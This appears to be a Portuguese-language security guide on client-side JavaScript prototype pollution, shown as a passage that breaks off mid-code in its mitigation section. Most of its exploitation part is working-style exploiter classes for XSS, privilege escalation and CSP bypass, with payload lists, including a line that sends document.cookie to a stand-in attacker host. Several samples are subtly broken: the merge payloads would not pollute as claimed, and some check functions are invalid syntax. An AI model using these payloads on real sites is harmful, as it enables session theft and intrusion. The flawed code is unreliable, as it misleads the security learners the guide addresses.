# Client side Prototype Pollution

## 🔍 **Conceitos Fundamentais**

### **O que é Client-side Prototype Pollution**

Client-side Prototype Pollution é uma vulnerabilidade JavaScript que permite a um atacante modificar o prototype de objetos base, contaminando toda a cadeia de protótipos e afetando o comportamento da aplicação de forma maliciosa.

### **Princípio de Funcionamento**

```
Entrada Maliciosa → Modificação do Prototype → Contaminação Global → Comportamento Malicioso
       ↓                     ↓                       ↓                     ↓
 Dados não confiáveis  Poluição do prototype  Todos os objetos      Aplicação executa
 são processados       de Object, Array, etc. herdam propriedades  código malicioso
                       maliciosas
```

### **Características da Vulnerabilidade**

* **Afeta aplicações JavaScript** no lado do cliente
* **Explora a natureza dinâmica** da linguagem
* **Pode levar a XSS, escalação de privilégios, e outros ataques**
* **Difícil de detectar** sem testes específicos
* **Resulta de operações inseguras** de merge, clone, e assign

### **Conceitos Técnicos JavaScript**

#### **1. Cadeia de Protótipos (Prototype Chain)**

```javascript
// Exemplo da cadeia de protótipos
const obj = {};
console.log(obj.toString); // ✅ Herdado de Object.prototype

// Cadeia: obj → Object.prototype → null
console.log(obj.__proto__ === Object.prototype); // true
console.log(Object.prototype.__proto__); // null
```

#### **2. Modificação do Prototype**

```javascript
// Modificação legítima do prototype
Array.prototype.customMethod = function() {
    return this.length * 2;
};

const arr = [1, 2, 3];
console.log(arr.customMethod()); // 6 - Todos arrays herdam o método

// ⚠️ Isso é a base da prototype pollution
```

***

## ⚔️ **Mecanismos de Ataque**

### **Fluxo de Ataque Completo**

```mermaid
sequenceDiagram
    participant A as Atacante
    participant V as Aplicação Vulnerável
    participant P as Prototype JavaScript
    participant B as Browser

    Note over A,V: FASE 1: Identificação
    A->>V: Descobre operações de merge/clone/assign
    A->>V: Identifica sinks perigosas (eval, innerHTML, etc.)
    A->>V: Mapeia bibliotecas vulneráveis
    V->>A: Retorna informações através de erros/respostas
    
    Note over A,V: FASE 2: Contaminação
    A->>V: Envia payload malicioso com __proto__/constructor
    V->>V: Processa operação insegura (merge/clone)
    V->>P: Modifica Object.prototype/outros prototypes
    P->>B: Propaga contaminação para todos os objetos
    
    Note over A,B: FASE 3: Exploração
    A->>B: Dispara código malicioso através de sinks
    B->>B: Executa código contaminado
    B->>A: Retorna dados/executa ações maliciosas
    
    Note over A,B: FASE 4: Persistência
    B->>B: Mantém contaminação durante a sessão
    B->>B: Afeta múltiplas funcionalidades
    B->>B: Potencial comprometimento persistente
```

### **Cenário 1: Merge/Assign Inseguro**

```javascript
// Função de merge vulnerável
function vulnerableMerge(target, source) {
    for (let key in source) {
        // ⚠️ VULNERÁVEL: Não verifica propriedades do prototype
        if (source.hasOwnProperty(key)) {
            if (typeof source[key] === 'object' && source[key] !== null) {
                if (!target[key]) target[key] = {};
                vulnerableMerge(target[key], source[key]);
            } else {
                target[key] = source[key];
            }
        }
    }
    return target;
}

// Payload de ataque
const maliciousPayload = {
    "__proto__": {
        "isAdmin": true,
        "polluted": "yes"
    },
    "constructor": {
        "prototype": {
            "pollutedArray": ["malicious"]
        }
    }
};

// Exploração
const user = { name: "John" };
vulnerableMerge(user, maliciousPayload);

// Verificação da poluição
console.log({}.isAdmin); // true - ⚠️ POLUIDO!
console.log([].pollutedArray); // ["malicious"] - ⚠️ POLUIDO!
```

### **Cenário 2: Clone Profundo Inseguro**

```javascript
// Função de clone profundo vulnerável
function vulnerableDeepClone(obj) {
    // ⚠️ VULNERÁVEL: Usa JSON.parse/stringify de forma insegura
    if (obj === null || typeof obj !== 'object') {
        return obj;
    }
    
    if (obj instanceof Date) {
        return new Date(obj.getTime());
    }
    
    if (obj instanceof Array) {
        const clone = [];
        for (const item of obj) {
            clone.push(vulnerableDeepClone(item));
        }
        // ⚠️ Não protege contra propriedades do prototype
        return clone;
    }
    
    if (obj instanceof Object) {
        const clone = {};
        for (const key in obj) {
            // ⚠️ CRÍTICO: Não verifica hasOwnProperty
            clone[key] = vulnerableDeepClone(obj[key]);
        }
        return clone;
    }
}

// Payload de ataque
const maliciousObj = JSON.parse('{"__proto__":{"polluted":true}}');
const cloned = vulnerableDeepClone(maliciousObj);

// Verificação
console.log({}.polluted); // true - ⚠️ POLUIDO!
```

### **Cenário 3: Bibliotecas Vulneráveis Comuns**

```javascript
// jQuery extend (versões vulneráveis)
const payload = {
    "__proto__": {
        "polluted": true
    }
};

// ⚠️ jQuery < 3.4.0 é vulnerável
$.extend(true, {}, payload);
console.log({}.polluted); // true

// Lodash (versões específicas)
const _ = require('lodash');

// ⚠️ Lodash versões antigas
_.defaultsDeep({}, JSON.parse('{"__proto__":{"polluted": true}}'));
console.log({}.polluted); // true

// Axios com transformRequest vulnerável
axios.defaults.transformRequest = [function (data) {
    // ⚠️ Processamento inseguro de dados
    return JSON.parse(data);
}];
```

### **Cenário 4: Exploração para XSS**

```javascript
// Poluição para XSS através de template engines
const maliciousPayload = {
    "__proto__": {
        "block": {
            "tags": {
                "button": "<script>alert('XSS')</script>"
            }
        }
    }
};

// Contaminando prototype
vulnerableMerge({}, maliciousPayload);

// Quando a aplicação usa:
const templateData = {};
if (templateData.block && templateData.block.tags) {
    // ⚠️ Agora herda o valor poluído
    document.getElementById('content').innerHTML = templateData.block.tags.button;
    // Executa: <script>alert('XSS')</script>
}
```

### **Cenário 5: Bypass de Sanitização**

```javascript
// Poluição para bypass de sanitizers
const bypassPayload = {
    "__proto__": {
        "bypassSecurityTrustHtml": "<img src=x onerror=alert(1)>"
    }
};

// Contaminando Angular sanitizer
vulnerableMerge({}, bypassPayload);

// Quando Angular faz:
const sanitizer = new DomSanitizer();
const unsafeHtml = userInput;
const safeHtml = sanitizer.bypassSecurityTrustHtml(unsafeHtml);
// ⚠️ Agora herda o método malicioso
```

### **Cenário 6: Modificação de Comportamento de API**

```javascript
// Poluição para modificar comportamentos de API
const apiPollutionPayload = {
    "__proto__": {
        "headers": {
            "Authorization": "Bearer attacker-token"
        },
        "baseURL": "https://attacker-server.com"
    }
};

// Contaminando axios/fetch defaults
vulnerableMerge({}, apiPollutionPayload);

// Todas as requisições futuras serão redirecionadas
fetch('/api/user-data')
    .then(response => response.json())
    .then(data => {
        // ⚠️ Dados enviados para servidor atacante
    });
```

***

## 🔎 **Identificação e Detecção**

### **Indicadores de Vulnerabilidade**

```bash
# Pontos críticos para teste
- Operações de merge/assign/clone de objetos
- Processamento de JSON não confiável
- Uso de bibliotecas como jQuery, Lodash, Underscore
- Funções de utilidade customizadas para manipulação de objetos
- Parsing de URL parameters/search params
- Processamento de query strings
```

### **Metodologia de Teste Manual**

#### **1. Teste de Payloads Básicos**

```javascript
// Testador de prototype pollution
class PrototypePollutionTester {
    constructor() {
        this.payloads = this.generatePayloads();
        this.detectedPollution = false;
    }
    
    generatePayloads() {
        return [
            // Payloads básicos
            { "__proto__": { "polluted": true } },
            { "constructor": { "prototype": { "polluted": true } } },
            
            // Payloads para diferentes vectores
            { "__proto__": { "isAdmin": true } },
            { "constructor": { "prototype": { "isAdmin": true } } },
            
            // Payloads para arrays
            { "__proto__": { "pollutedArray": ["malicious"] } },
            { "constructor": { "prototype": { "push": function() { alert('polluted') } } } },
            
            // Payloads para functions
            { "__proto__": { "toString": function() { return "polluted" } } },
            
            // Payloads encodados
            JSON.parse('{"__proto__": {"polluted": true}}'),
            JSON.parse('{"constructor": {"prototype": {"polluted": true}}}')
        ];
    }
    
    testMergeFunction(mergeFn) {
        console.log("Testing merge function for prototype pollution...");
        
        for (const payload of this.payloads) {
            try {
                const testObj = {};
                mergeFn(testObj, payload);
                
                // Verificar se ocorreu poluição
                if (this.checkPollution()) {
                    console.log(`⚠️ Pollution detected with payload:`, payload);
                    this.detectedPollution = true;
                    return true;
                }
            } catch (error) {
                console.log(`Error with payload:`, error);
            }
        }
        
        console.log("✅ No prototype pollution detected");
        return false;
    }
    
    testURLParameters() {
        console.log("Testing URL parameters for prototype pollution...");
        
        const testPayloads = [
            '?__proto__[polluted]=true',
            '?constructor[prototype][polluted]=true',
            '?__proto__.isAdmin=true',
            '?constructor.prototype.isAdmin=true'
        ];
        
        for (const payload of testPayloads) {
            // Simular mudança de URL
            const urlParams = new URLSearchParams(payload);
            const params = Object.fromEntries(urlParams.entries());
            
            // Testar se parâmetros causam poluição
            const testObj = {};
            Object.assign(testObj, params);
            
            if (this.checkPollution()) {
                console.log(`⚠️ URL pollution detected: ${payload}`);
                this.detectedPollution = true;
                return true;
            }
        }
        
        return false;
    }
    
    checkPollution() {
        // Verificar vários indicadores de poluição
        return (
            {}.polluted === true ||
            {}.isAdmin === true ||
            [].pollutedArray !== undefined ||
            Object.prototype.polluted === true
        );
    }
    
    cleanup() {
        // Limpar poluição após testes
        delete Object.prototype.polluted;
        delete Object.prototype.isAdmin;
        delete Array.prototype.pollutedArray;
    }
}

// Uso
const tester = new PrototypePollutionTester();
tester.testMergeFunction(vulnerableMerge);
tester.testURLParameters();
tester.cleanup();
```

#### **2. Detecção de Sinks Perigosas**

```javascript
// Detector de sinks de prototype pollution
class PollutionSinkDetector {
    constructor() {
        this.dangerousSinks = [
            'innerHTML',
            'outerHTML',
            'insertAdjacentHTML',
            'document.write',
            'eval',
            'Function',
            'setTimeout',
            'setInterval',
            'setImmediate',
            'execScript'
        ];
    }
    
    scanForSinks() {
        console.log("Scanning for dangerous sinks...");
        
        const foundSinks = [];
        
        // Verificar se há código usando sinks perigosas
        this.dangerousSinks.forEach(sink => {
            if (this.detectSinkUsage(sink)) {
                foundSinks.push(sink);
            }
        });
        
        return foundSinks;
    }
    
    detectSinkUsage(sinkName) {
        // Técnicas para detectar uso de sinks
        const detectionMethods = [
            () => this.searchInSourceCode(sinkName),
            () => this.hookNativeFunctions(sinkName),
            () => this.monitorPrototypeChanges(sinkName)
        ];
        
        return detectionMethods.some(method => method());
    }
    
    searchInSourceCode(sinkName) {
        // Buscar no código fonte por uso da sink
        const scripts = document.getElementsByTagName('script');
        for (let script of scripts) {
            if (script.src) {
                // Poderia fazer fetch e analisar
                continue;
            }
            if (script.innerHTML.includes(sinkName)) {
                console.log(`⚠️ Found ${sinkName} in inline script`);
                return true;
            }
        }
        return false;
    }
    
    hookNativeFunctions(sinkName) {
        // Hook em funções nativas para detectar uso
        const original = window[sinkName];
        if (original) {
            window[sinkName] = function(...args) {
                console.log(`⚠️ ${sinkName} called with:`, args);
                return original.apply(this, args);
            };
            return true;
        }
        return false;
    }
}

// Uso
const sinkDetector = new PollutionSinkDetector();
const dangerousSinks = sinkDetector.scanForSinks();
console.log("Dangerous sinks found:", dangerousSinks);
```

### **Técnicas de Fingerprinting**

#### **1. Detecção de Bibliotecas Vulneráveis**

```javascript
// Detector de bibliotecas vulneráveis a prototype pollution
class VulnerableLibraryDetector {
    constructor() {
        this.vulnerableLibraries = {
            'jQuery': {
                versions: '<3.4.0',
                test: () => typeof jQuery !== 'undefined',
                vulnerable: () => {
                    try {
                        $.extend(true, {}, JSON.parse('{"__proto__":{"test":true}}'));
                        return {}.test === true;
                    } catch (e) {
                        return false;
                    }
                }
            },
            'Lodash': {
                versions: '<4.17.12',
                test: () => typeof _ !== 'undefined',
                vulnerable: () => {
                    try {
                        _.defaultsDeep({}, JSON.parse('{"__proto__":{"test":true}}'));
                        return {}.test === true;
                    } catch (e) {
                        return false;
                    }
                }
            },
            'Underscore': {
                versions: '<1.12.1',
                test: () => typeof _ !== 'undefined' && !window._.VERSION,
                vulnerable: () => {
                    try {
                        _.extend({}, JSON.parse('{"__proto__":{"test":true}}'));
                        return {}.test === true;
                    } catch (e) {
                        return false;
                    }
                }
            }
        };
    }
    
    detectVulnerableLibraries() {
        const detected = [];
        
        for (const [libName, config] of Object.entries(this.vulnerableLibraries)) {
            if (config.test()) {
                const isVulnerable = config.vulnerable();
                detected.push({
                    library: libName,
                    detected: true,
                    vulnerable: isVulnerable,
                    versions: config.versions
                });
                
                if (isVulnerable) {
                    console.log(`⚠️ Vulnerable library detected: ${libName}`);
                }
            }
        }
        
        return detected;
    }
    
    cleanup() {
        // Limpar testes de poluição
        delete Object.prototype.test;
    }
}

// Uso
const libDetector = new VulnerableLibraryDetector();
const vulnerableLibs = libDetector.detectVulnerableLibraries();
libDetector.cleanup();
console.log("Vulnerable libraries:", vulnerableLibs);
```

#### **2. Análise de Comportamento de Aplicação**

```javascript
// Analisador de comportamento pós-poluição
class BehaviorAnalyzer {
    constructor() {
        this.originalBehavior = {};
        this.monitoredProperties = [
            'innerHTML',
            'src',
            'href',
            'action',
            'method',
            'onclick',
            'onload'
        ];
    }
    
    captureBaseline() {
        // Capturar comportamento normal da aplicação
        this.monitoredProperties.forEach(prop => {
            this.originalBehavior[prop] = this.getCurrentBehavior(prop);
        });
    }
    
    getCurrentBehavior(property) {
        // Capturar estado atual da propriedade
        const elements = document.querySelectorAll(`[${property}]`);
        return Array.from(elements).map(el => ({
            tag: el.tagName,
            value: el[property] || el.getAttribute(property)
        }));
    }
    
    monitorChanges() {
        // Monitorar mudanças no comportamento
        const changes = [];
        
        this.monitoredProperties.forEach(prop => {
            const current = this.getCurrentBehavior(prop);
            const original = this.originalBehavior[prop];
            
            if (JSON.stringify(current) !== JSON.stringify(original)) {
                changes.push({
                    property: prop,
                    original: original,
                    current: current
                });
            }
        });
        
        return changes;
    }
    
    testPollutionImpact(pollutionPayload) {
        console.log("Testing pollution impact...");
        
        this.captureBaseline();
        
        // Aplicar poluição
        try {
            Object.assign(Object.prototype, pollutionPayload);
        } catch (e) {
            console.log("Pollution failed:", e);
            return [];
        }
        
        // Aguardar e verificar mudanças
        setTimeout(() => {
            const changes = this.monitorChanges();
            
            if (changes.length > 0) {
                console.log("⚠️ Behavior changes detected:", changes);
            } else {
                console.log("✅ No behavior changes detected");
            }
            
            // Limpar poluição
            this.cleanupPollution(pollutionPayload);
            
        }, 1000);
    }
    
    cleanupPollution(pollutionPayload) {
        for (const key in pollutionPayload) {
            delete Object.prototype[key];
        }
    }
}

// Uso
const analyzer = new BehaviorAnalyzer();
const testPayload = { isAdmin: true, polluted: "test" };
analyzer.testPollutionImpact(testPayload);
```

***

## 💥 **Exploração e Impacto**

### **Técnicas de Exploração Avançadas**

#### **1. Exploração para XSS Avançado**

```javascript
// Exploração de XSS através de prototype pollution
class XSSExploiter {
    constructor() {
        this.xssPayloads = this.generateXSSPayloads();
    }
    
    generateXSSPayloads() {
        return [
            // Payloads básicos de XSS
            {
                "__proto__": {
                    "innerHTML": "<img src=x onerror=alert(document.domain)>",
                    "outerHTML": "<script>alert('XSS')</script>"
                }
            },
            
            // Payloads para template engines
            {
                "__proto__": {
                    "block": {
                        "tags": {
                            "button": "<script>alert(1)</script>"
                        }
                    }
                }
            },
            
            // Payloads para sanitizer bypass
            {
                "__proto__": {
                    "bypassSecurityTrustHtml": "<img src=x onerror=alert(1)>",
                    "sanitize": function(html) { return html; }
                }
            },
            
            // Payloads para URL manipulation
            {
                "__proto__": {
                    "href": "javascript:alert('XSS')",
                    "src": "javascript:alert('XSS')",
                    "action": "javascript:alert('XSS')"
                }
            }
        ];
    }
    
    exploitMergeFunction(mergeFunction, targetObject = {}) {
        console.log("Attempting XSS exploitation via prototype pollution...");
        
        for (const payload of this.xssPayloads) {
            try {
                // Aplicar poluição
                mergeFunction(targetObject, payload);
                
                // Verificar se poluição foi bem-sucedida
                if (this.checkPollutionSuccess(payload)) {
                    console.log(`✅ Pollution successful with payload:`, payload);
                    
                    // Tentar disparar XSS
                    this.triggerXSS();
                    
                    return true;
                }
            } catch (error) {
                console.log(`Exploitation failed:`, error);
            }
        }
        
        return false;
    }
    
    checkPollutionSuccess(payload) {
        // Verificar se as propriedades foram poluídas
        const firstKey = Object.keys(payload)[0]; // __proto__ ou constructor
        const pollutionData = payload[firstKey];
        
        for (const key in pollutionData) {
            if (Object.prototype.hasOwnProperty(key)) {
                return true;
            }
        }
        
        return false;
    }
    
    triggerXSS() {
        // Tentar várias maneiras de disparar XSS
        const triggers = [
            () => {
                // Trigger através de innerHTML
                const div = document.createElement('div');
                div.innerHTML = {}.innerHTML || '';
                document.body.appendChild(div);
            },
            () => {
                // Trigger através de eval se disponível
                if (typeof eval !== 'undefined' && {}.eval) {
                    eval({}.eval);
                }
            },
            () => {
                // Trigger através de Function constructor
                if ({}.Function) {
                    new Function({}.Function)();
                }
            }
        ];
        
        triggers.forEach(trigger => {
            try {
                trigger();
            } catch (e) {
                // Ignorar erros
            }
        });
    }
    
    cleanup() {
        // Limpar todas as poluições
        const propsToDelete = [
            'innerHTML', 'outerHTML', 'href', 'src', 'action',
            'bypassSecurityTrustHtml', 'sanitize', 'Function', 'eval'
        ];
        
        propsToDelete.forEach(prop => {
            delete Object.prototype[prop];
            delete Array.prototype[prop];
            delete Function.prototype[prop];
        });
    }
}

// Uso
const xssExploiter = new XSSExploiter();
xssExploiter.exploitMergeFunction(vulnerableMerge);
xssExploiter.cleanup();
```

#### **2. Escalação de Privilégios Client-side**

```javascript
// Exploração para escalação de privilégios
class PrivilegeEscalationExploiter {
    constructor() {
        this.privilegePayloads = this.generatePrivilegePayloads();
    }
    
    generatePrivilegePayloads() {
        return [
            // Payloads de autenticação
            {
                "__proto__": {
                    "isAdmin": true,
                    "isAuthenticated": true,
                    "roles": ["admin", "user"],
                    "permissions": ["read", "write", "delete"]
                }
            },
            
            // Payloads de sessão
            {
                "__proto__": {
                    "session": {
                        "user": {
                            "id": 1,
                            "username": "admin",
                            "email": "admin@example.com"
                        },
                        "token": "admin-fake-token-12345"
                    }
                }
            },
            
            // Payloads de configuração
            {
                "__proto__": {
                    "config": {
                        "features": {
                            "premium": true,
                            "adminPanel": true
                        },
                        "settings": {
                            "maxUploadSize": 999999999
                        }
                    }
                }
            }
        ];
    }
    
    exploitAuthentication(mergeFunction) {
        console.log("Attempting privilege escalation...");
        
        for (const payload of this.privilegePayloads) {
            try {
                // Aplicar poluição
                mergeFunction({}, payload);
                
                // Verificar se a poluição afetou a autenticação
                if (this.checkPrivilegeEscalation()) {
                    console.log(`✅ Privilege escalation successful`);
                    this.reportEscalatedPrivileges();
                    return true;
                }
            } catch (error) {
                console.log(`Exploitation failed:`, error);
            }
        }
        
        return false;
    }
    
    checkPrivilegeEscalation() {
        // Verificar vários indicadores de privilégio
        const checks = [
            () => {}.isAdmin === true,
            () => {}.isAuthenticated === true,
            () => Array.isArray({}.roles) && {}.roles.includes('admin'),
            () => {}.session && {}.session.user && {}.session.user.username === 'admin',
            () => {}.config && {}.config.features && {}.config.features.adminPanel === true
        ];
        
        return checks.some(check => check());
    }
    
    reportEscalatedPrivileges() {
        const privileges = {};
        
        if ({}.isAdmin) privileges.isAdmin = {}.isAdmin;
        if ({}.isAuthenticated) privileges.isAuthenticated = {}.isAuthenticated;
        if ({}.roles) privileges.roles = {}.roles;
        if ({}.session) privileges.session = {}.session;
        if ({}.config) privileges.config = {}.config;
        if ({}.permissions) privileges.permissions = {}.permissions;
        
        console.log("Escalated privileges:", privileges);
        
        // Tentar acessar funcionalidades administrativas
        this.accessAdminFeatures();
    }
    
    accessAdminFeatures() {
        console.log("Attempting to access admin features...");
        
        // Tentar encontrar e acessar painel administrativo
        const adminLinks = [
            '/admin',
            '/dashboard',
            '/manager',
            '/cp'
        ];
        
        adminLinks.forEach(link => {
            fetch(link)
                .then(response => {
                    if (response.ok) {
                        console.log(`✅ Admin panel accessible: ${link}`);
                    }
                })
                .catch(() => {});
        });
    }
    
    cleanup() {
        // Limpar poluição
        const propsToDelete = [
            'isAdmin', 'isAuthenticated', 'roles', 'permissions',
            'session', 'config', 'user', 'token'
        ];
        
        propsToDelete.forEach(prop => {
            delete Object.prototype[prop];
        });
    }
}

// Uso
const privilegeExploiter = new PrivilegeEscalationExploiter();
privilegeExploiter.exploitAuthentication(vulnerableMerge);
privilegeExploiter.cleanup();
```

#### **3. Bypass de CSP via Prototype Pollution**

```javascript
// Bypass de Content Security Policy
class CSPBypassExploiter {
    constructor() {
        this.cspBypassPayloads = this.generateCSPBypassPayloads();
    }
    
    generateCSPBypassPayloads() {
        return [
            // Pollute script-src directives
            {
                "__proto__": {
                    "nonce": "injected-nonce-12345",
                    "nonce-abc123": true
                }
            },
            
            // Pollute CSP headers
            {
                "__proto__": {
                    "contentSecurityPolicy": {
                        "script-src": ["'self'", "'unsafe-inline'", "https://evil.com"],
                        "default-src": ["*"]
                    }
                }
            },
            
            // Pollute trust types in Angular
            {
                "__proto__": {
                    "bypassSecurityTrustUrl": function(url) { return url; },
                    "bypassSecurityTrustResourceUrl": function(url) { return url; },
                    "bypassSecurityTrustHtml": function(html) { return html; },
                    "bypassSecurityTrustScript": function(script) { return script; },
                    "bypassSecurityTrustStyle": function(style) { return style; }
                }
            }
        ];
    }
    
    exploitCSPBypass(mergeFunction) {
        console.log("Attempting CSP bypass via prototype pollution...");
        
        for (const payload of this.cspBypassPayloads) {
            try {
                // Aplicar poluição
                mergeFunction({}, payload);
                
                // Verificar se CSP foi afetado
                if (this.checkCSPBypass()) {
                    console.log(`✅ CSP bypass successful`);
                    this.executeBypassedScript();
                    return true;
                }
            } catch (error) {
                console.log(`CSP bypass failed:`, error);
            }
        }
        
        return false;
    }
    
    checkCSPBypass() {
        // Verificar se a poluição afetou mecanismos de CSP
        const checks = [
            () => {}.nonce !== undefined,
            () => {}.contentSecurityPolicy !== undefined,
            () => {}.bypassSecurityTrustUrl !== undefined,
            () => document.querySelector('script[nonce]') !== null
        ];
        
        return checks.some(check => check());
    }
    
    executeBypassedScript() {
        // Tentar executar scripts com CSP bypassed
        const scriptPayloads = [
            'alert("CSP Bypassed!")',
            'fetch("https://attacker.com/steal?cookie=" + document.cookie)',
            'document.location = "https://attacker.com"'
        ];
        
        scriptPayloads.forEach(payload => {
            try {
                // Tentar várias métodos de execução
                this.tryScriptExecution(payload);
            } catch (e) {
                // Ignorar erros
            }
        });
    }
    
    tryScriptExecution(code) {
        const methods = [
            () => eval(code),
            () => new Function(code)(),
            () => {
                const script = document.createElement('script');
                script.innerHTML = code;
                document.head.appendChild(script);
            },
            () => setTimeout(code, 0),
            () => setInterval(code, 0)
        ];
        
        methods.forEach(method => {
            try {
                method();
            } catch (e) {
                // Ignorar erros
            }
        });
    }
    
    cleanup() {
        // Limpar poluição
        const propsToDelete = [
            'nonce', 'contentSecurityPolicy', 'bypassSecurityTrustUrl',
            'bypassSecurityTrustResourceUrl', 'bypassSecurityTrustHtml',
            'bypassSecurityTrustScript', 'bypassSecurityTrustStyle'
        ];
        
        propsToDelete.forEach(prop => {
            delete Object.prototype[prop];
        });
    }
}

// Uso
const cspExploiter = new CSPBypassExploiter();
cspExploiter.exploitCSPBypass(vulnerableMerge);
cspExploiter.cleanup();
```

### **Impacto das Vulnerabilidades**

#### **Classificação de Impacto**

```json
{
  "impacto_critico": {
    "xss": [
      "Execução arbitrária de JavaScript",
      "Roubo de cookies de sessão",
      "Keylogging e captura de inputs",
      "Redirecionamento para sites maliciosos"
    ],
    "privilege_escalation": [
      "Acesso a funcionalidades administrativas",
      "Modificação de dados de outros usuários",
      "Bypass de controles de acesso",
      "Elevação de privilégios client-side"
    ]
  },
  "impacto_alto": {
    "csp_bypass": [
      "Contornar políticas de segurança de conteúdo",
      "Executar scripts não autorizados",
      "Carregar recursos de domínios não permitidos",
      "Bypass de sanitização de entrada"
    ],
    "data_manipulation": [
      "Modificação de configurações da aplicação",
      "Alteração de comportamentos do sistema",
      "Manipulação de dados em trânsito",
      "Corrupção de estado da aplicação"
    ]
  },
  "impacto_medio": {
    "denial_of_service": [
      "Corrupção de funcionalidades JavaScript",
      "Quebra de componentes da aplicação",
      "Comportamento inconsistente da UI",
      "Degradação de performance"
    ],
    "information_disclosure": [
      "Vazamento de estrutura da aplicação",
      "Exposição de lógica de negócio",
      "Descoberta de endpoints internos",
      "Reconhecimento de tecnologias"
    ]
  }
}
```

#### **Cadeias de Ataque Completas**

```
Cenário XSS Completo:
Prototype Pollution → Contaminação do DOM → XSS → Roubo de Sessão → Acesso Não Autorizado

Cenário Privilege Escalation:
Prototype Pollution → Modificação de Auth State → Acesso Admin → Data Breach

Cenário CSP Bypass:
Prototype Pollution → Bypass de CSP → Load Malicious Script → Remote Control
```

***

## 🛡️ **Mitigação e Correção**

### **Estratégias de Defesa em Camadas**

#### **1. Sanitização de Objetos Antes do Merge**

```javascript
// Sanitizador seguro para operações de merge
class SafeObjectSanitizer {
    constructor() {
        this.forbiddenKeys = [
            '__proto__',
            'constructor',
            'prototype'
        ];
        
        this.forbiddenPatterns = [
            /^__proto__$/,
            /^constructor$/,
            /^prototype$/
        ];
    }
    
    isSafeKey(key) {
        // Verificar se a chave é segura
        if (this.forbiddenKeys.includes(key)) {
            return false;
        }
        
        for (const pattern of this.forbiddenPatterns) {
            if (pattern.test(key)) {
                return false;
            }
        }
        
        return true;
    }
    
    sanitizeObject(obj) {
        if (obj === null || typeof obj !== 'object') {
            return obj;
        }
        
        if (Array.isArray(obj)) {
            return obj.map(item => this.sanitizeObject(item));
        }
        
        const sanitized = {};
        
        for (const [key, value] of Object.entries(obj)) {
            if (this.isSafeKey(key)) {
                sanitized[key] = this.sanitizeObject(value);
            } else {
                console.warn(`⚠️ Blocked unsafe key: ${key}`);
            }
        }
        
        return sanitized;
    }
    
    safeMerge(target, source) {
        // ✅ SEGURO: Sanitizar antes do merge
        const sanitizedSource = this.sanitizeObject(source);
        return this.deepMerge(target, sanitizedSource);
    }
    
    deepMerge(target, source) {
        for (const key in source) {
            if (source.hasOwnProperty(key)) {
                if (this.isObject(source[key]) && this.isObject(target[key])) {
                    this.deepMerge(target[key], source[key]);
                } else {
                    target[key] = source[key];
                }
            }
        }
        return target;
    }
    
    isObject(item) {
        return item && typeof item === 'object' && !Array.isArray(item);
    }
}

// Uso seguro
const sanitizer = new SafeObjectSanitizer();
const userInput = { "__proto__": { "polluted": true }, "name": "John" };
const safeObject = {};

// ✅ Merge seguro
const result = sanitizer.safeMerge(safeObject, userInput);
console.log(result); // { name: "John" }
console.log({}.polluted); // undefined - ✅ NÃO POLUÍDO
```

#### **2. Object.create(null) para Objetos de Trabalho**

```javascript
// Uso de objetos sem prototype para prevenir poluição
class PollutionSafeObject {
    static createSafeObject() {
        // ✅ Criar objeto sem prototype
        return Object.create(null);
    }
    
    static safeAssign(target, ...sources) {
        // ✅ Assign seguro que usa objetos sem prototype
        const safeTarget = this.ensureSafeObject(target);
        
        for (const source of sources) {
            const safeSource = this.sanitizeSource(source);
            
            for (const [key, value] of Object.entries(safeSource)) {
                if (this.isSafeKey(key)) {
                    safeTarget[key] = value;
                }
            }
        }
        
        return safeTarget;
    }
    
    static ensureSafeObject(obj) {
        if (Object.getPrototypeOf(obj) === null) {
            return obj;
        }
        
        // Converter para objeto seguro
        const safeObj = Object.create(null);
        return Object.assign(safeObj, obj);
    }
    
    static sanitizeSource(source) {
        if (typeof source !== 'object' || source === null) {
            return source;
        }
        
        const safeSource = Object.create(null);
        
        for (const [key, value] of Object.entries(source)) {
            if (this.isSafeKey(key)) {
                safeSource[key] = value;
            }
        }
        
        return safeSource;
    }
    
    static isSafeKey(key) {
        const unsafeKeys = ['__proto__', 'constructor', 'prototype'];
        return !unsafeKeys.includes(key);
    }
}

// Uso seguro
const userData = { 
    "__proto__": { "polluted": true },
    "name": "John",
    "age": 30
};

// ✅ Trabalhar com objetos seguros
const safeObj = PollutionSafeObject.createSafeObject();
const result = PollutionSafeObject.safeAssign(safeObj, userData);

console.log(result); // { name: "John", age: 30 }
console.log(Object.getPrototypeOf(result)); // null - ✅ SEM PROTOTYPE
console.log({}.polluted); // undefined - ✅ NÃO POLUÍDO
```

#### **3. Freezing de Prototypes em Ambiente de Produção**

```javascript
// Proteção através de freezing de prototypes
class PrototypeFreezer {
    constructor() {
        this.originalPrototypes = new Map();
    }
    
    freezePrototypes() {
        console.log("Freezing prototypes...");
        
        // Salvar prototypes originais
        this.saveOriginalPrototypes();
        
        // Congelar prototypes principais
        this.freezeObjectPrototype();
        this.freezeArrayPrototype();
        this.freezeFunctionPrototype();
        this.freezeStringPrototype();
        this.freezeNumberPrototype();
        
        console.log("✅ Prototypes frozen successfully");
    }
    
    saveOriginalPrototypes() {
        this.originalPrototypes.set('Object', Object.getOwnPropertyDescriptors(Object.prototype));
        this.originalPrototypes.set('Array', Object.getOwnPropertyDescriptors(Array.prototype));
        this.originalPrototypes.set('Function', Object.getOwnPropertyDescriptors(Function.prototype));
    }
    
    freezeObjectPrototype() {
        try {
            Object.freeze(Object.prototype);
            Object.seal(Object.prototype);
            
            // Prevenir extensões
            Object.preventExtensions(Object.prototype);
            
            console.log("✅ Object.prototype frozen");
        } catch (error) {
            console.warn("Could not freeze Object.prototype:", error);
        }
    }
    
    freezeArrayPrototype() {
        try {
            Object.freeze(Array.prototype);
            Object.seal(Array.prototype);
            Object.preventExtensions(Array.prototype);
            
            console.log("✅ Array.prototype frozen");
        } catch (error) {
            console.warn("Could not freeze Array.prototype:", error);
        }
    }
    
    freezeFunctionPrototype() {
        try {
            Object.freeze(Function.prototype);
            Object.seal(Function.prototype);
            Object.preventExtensions(Function.prototype);
            
            console.log("✅ Function.prototype frozen");
        } catch (error) {
            console.warn("Could not freeze Function.prototype:", error);
        }
    }
    
    freezeStringPrototype() {
        try {
            Object.freeze(String.prototype);
            Object.seal(String.prototype);
            Object.preventExtensions(String.prototype);
            
            console.log("✅ String.prototype frozen");
        } catch (error) {
            console.warn("Could not freeze String.prototype:", error);
        }
    }
    
    freezeNumberPrototype() {
        try {
            Object.freeze(Number.prototype);
            Object.seal(Number.prototype);
            Object.preventExtensions(Number.prototype);
            
            console.log("✅ Number.prototype frozen");
        } catch (error) {
            console.warn("Could not freeze Number.prototype:", error);
        }
    }
    
    unfreezePrototypes() {
        console.log("Unfreezing prototypes...");
        
